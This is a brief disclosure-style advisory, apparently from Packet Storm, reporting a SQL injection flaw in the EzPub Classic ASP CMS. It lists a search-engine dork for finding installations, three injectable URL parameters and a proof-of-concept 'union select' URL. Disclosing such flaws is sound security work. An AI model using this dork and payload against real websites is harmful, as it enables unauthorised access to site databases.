EzPub Simple Classic ASP CMS suffers from a remote SQL injection vulnerability.
dc9ee4cd7403e920bfc04f13411d03a8a3e99d9c1383f3e409abb0d54970b958Title: EzPub - Simple Classic ASP CMS Vulnerable to SQL Injection
Vendor: http://www.soft4web.ro
Found by: p0pc0rn 08/03/2011
Dork: intext:"Powered by EZPub"
SQL - Microsoft JET Database Engine error
------------------------------------------
view_article.asp?item=[SQL]
http://site.com/page.asp?pID=[SQL]
http://site.com/display.asp?sortby=sections&sID=[SQL]
POC
---
http://site.com/view_article.asp?item=1 union select 1 from test.a
thanks,
-p0pc0rn-
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed